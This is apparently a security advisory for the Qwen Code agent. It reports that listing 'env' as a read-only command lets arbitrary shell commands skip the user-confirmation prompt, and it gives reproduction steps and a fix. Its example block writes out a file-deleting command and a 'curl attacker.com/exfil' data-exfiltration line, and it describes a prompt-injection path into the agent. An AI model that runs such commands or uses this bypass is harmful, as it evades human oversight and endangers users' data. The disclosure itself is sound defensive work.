Summary

The env command is included in READ_ONLY_ROOT_COMMANDS in both shellReadOnlyChecker.ts and shellAstParser.ts. This causes the shell tool to treat env as a read-only command that bypasses the user confirmation prompt.

However, env is not just a "print environment variables" utility — it is a command proxy that can execute arbitrary commands with side effects:

env open -a Calculator          # opens an app
env rm -rf /tmp/important       # deletes files
env curl attacker.com/exfil     # exfiltrates data

Impact

Any user running Qwen Code in the default (non-sandbox) configuration could be affected. If an attacker injects a malicious prompt (via code, web pages, documents, etc.) that tricks the LLM into executing env <arbitrary_command>, the command runs without user confirmation.

Attack path

Prompt injection → LLM generates `env <malicious_cmd>` → shellTool classifies as read-only → executes without confirmation → arbitrary code execution

Affected code

• packages/core/src/utils/shellReadOnlyChecker.ts — READ_ONLY_ROOT_COMMANDS set (line 31)
• packages/core/src/utils/shellAstParser.ts — READ_ONLY_ROOT_COMMANDS set (line 86)

Suggested fix

Remove 'env' from both READ_ONLY_ROOT_COMMANDS sets. After this change, all env invocations will go through the normal user-confirmation flow, closing the bypass path.

Reproduction

1. Start qwen in default mode (non-sandbox)
2. Send a prompt like: Please help me run this command: env open -a Calculator
3. Observe that env open -a Calculator executes without user confirmation (calculator opens)

Note: LLM output is non-deterministic — it may take a few attempts for the model to actually emit the env command.